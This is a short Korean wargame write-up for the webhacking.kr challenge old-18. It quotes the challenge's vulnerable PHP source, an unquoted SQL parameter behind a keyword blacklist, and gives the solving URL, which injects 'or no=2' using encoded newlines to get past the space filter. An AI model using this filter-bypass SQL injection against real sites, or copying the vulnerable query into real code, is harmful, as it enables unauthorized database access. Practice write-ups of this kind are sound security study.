> For the complete documentation index, see [llms.txt](https://donghyunlee.gitbook.io/write-up/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://donghyunlee.gitbook.io/write-up/wargame/webhacking.kr/old-18-100.md).

# old-18 (100)

첫 화면이다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-LzoU5ibUOCXSmabYopT%2F-LzoUAIG_GRl26ieWHY1%2Fimage.png?alt=media\&token=88c281ee-6414-4f91-b606-bb02aaf404a4)

view-source를 클릭해 본 소스의 일부는 아래와 같다.

```php
<?php
if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/ |\/|\(|\)|\||&|select|from|0x/i",$_GET['no'])) exit("no hack");
  $result = mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); // admin's no = 2

  if($result['id']=="guest") echo "hi guest";
  if($result['id']=="admin"){
    solve(18);
    echo "hi admin!";
  }
}
?>
```

<https://webhacking.kr/challenge/web-32/index.php?no=0%0aor%0ano=2> 로 이동하면 문제가 풀린다.